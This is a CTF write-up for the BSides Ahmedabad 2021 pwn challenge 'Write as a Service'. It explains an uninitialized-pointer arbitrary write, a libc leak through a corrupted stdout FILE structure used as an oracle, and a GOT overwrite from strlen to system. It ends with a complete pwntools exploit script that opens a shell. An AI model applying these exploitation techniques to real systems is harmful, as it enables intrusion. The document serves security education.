# Write as a Service - BSides Ahmedabad CTF 2021
###### tags: `writeup` `BSides Ahmedabad CTF 2021` `pwn`
# Overview
- You can write `0x1f` bytes data to:
- buffer alloced on stack
- buffer alloced on heap
- `/dev/null`
- `stdout`
# Analysis
Every `read` checks the length correctly, so there is no buffer overflow.
The first thing to notice is that the buf variable is uninitialized in `to_alloced_buf`.
```cpp=
void to_alloced_buf(void){
char* buf;
while (1){
if (buf == NULL) buf = (char*)malloc(BUF_SIZE);
printf("content?\n> ");
if (0 < readline(buf, READ_SIZE)) break;
}
}
```
The variable `to_alloced_buf::buf` shares its buffer with `to_local_buf::buf[0]`, `to_devnull::fp`, `to_stdout::fp`, and `menu::buf[0x18]`. As you can see, we can make arbitrary address write by modifying `to_local_buf::buf[0]` from `to_local_buf`, then call `to_alloced_buf`. Moreover, we can overwrite the `FILE` structure for `stdout` and closed `/dev/null`. Overwriting a closed file structure doesn't seem useful but overwriting a `STDOUT` file structure seems useful since you may be able to use some techniques such as [FSOP]([FSOP](https://faraz.faith/2020-10-13-FSOP-lazynote/)).
# Exploit
## libc leak
Leaking libc address is the main part of this challenge. Let's take a look inside of `FILE` structure.
```c=
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
...
char _shortbuf[1];
...
};
```
from: [`struct_FILE.h`](https://code.woboq.org/userspace/glibc/libio/bits/types/struct_FILE.h.html#_IO_FILE)
For some allignment reason, offset of `_IO_read_ptr` is 8 bytes. We can overwrite `_flags`, `_IO_read_ptr`, `_IO_read_end`, and `_IO_read_base` since we can write `0x1f` bytes. While experimenting, I found that `stdout` stops working if `_IO_read_end` is not equals to the address of `_shortbuf`.
Using this logic as an oracle, we can leak the address of `_shortbuf`. Since `stdout` is the struct allocated on `libc`, we now know the base address of `libc`.
## get the shell
After libc address is leaked, you can do basically anything because you already have `AAW`.
`fputs(buf, fp)` calls `strlen(buf)` internally, so we can call `system(buf)` by overwriting the GOT of `strlen` in `libc`.
## solution
```python=
from pwn import *
BIN_NAME = 'chall'
REMOTE_LIBC_PATH = 'libc-2.31.so'
REMOTE_ADDR = "pwn.bsidesahmedabad.in"
REMOTE_PORT = '9090'
LOCAL = True
elf = ELF(BIN_NAME)
context.binary = elf
if LOCAL: stream = process(BIN_NAME)
else: stream = remote(REMOTE_ADDR, REMOTE_PORT)
TIMEOUT = 0.02 if LOCAL else 0.4
def prompt(cmd):
if b'\n' in cmd: raise Exception()
stream.recvuntil(b'> ', timeout=TIMEOUT)
stream.sendline(cmd)
def localbuf(payload):
prompt(b'0')
prompt(payload)
def allocedbuf(payload):
prompt(b'1')
prompt(payload)
def devnull(payload):
prompt(b'2')
prompt(payload)
def stdout(payload):
prompt(b'3')
prompt(payload)
def is_valid_tinybuf_prefix(read_end: bytes):
payload = p64(0xfbad2887) + p64(0) + read_end
allocedbuf(payload)
line = stream.recv(1, timeout=TIMEOUT)
if len(line) != 0: return True
else: return False
stdout(b'hoge')
tinybuf_addr_bytes = b''
for i in range(0, 6):
for b in range(256):
if b == ord('\n'): continue
if i == 0 and b != 0x23: continue
if i == 1 and hex(b)[-1] != '7': continue
if i == 5 and hex(b)[-2] != '7': continue
cand = tinybuf_addr_bytes + b.to_bytes(1, 'little')
if not is_valid_tinybuf_prefix(cand):
print(f'{b} / 256...')
continue
tinybuf_addr_bytes = cand
addr = unpack((tinybuf_addr_bytes + b'\x00' * 8)[:8])
print(f'{hex(addr)=}')
break
else:
raise Exception("not found")
tinybuf_addr = unpack((tinybuf_addr_bytes + b'\x00' * 8)[:8])
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so' if LOCAL else REMOTE_LIBC_PATH)
libc.address = tinybuf_addr - 0x1ec723
print(f'{hex(libc.address)=}')
def aaw(addr, content):
print(f'*{hex(addr)} = {hex(content)}')
localbuf(b'A' * 0x18 + p64(addr)[:6])
allocedbuf(p64(content))
aaw(libc.address + 0x1eb0a8, libc.symbols['system'])
stdout(b'/bin/sh')
stream.interactive()
```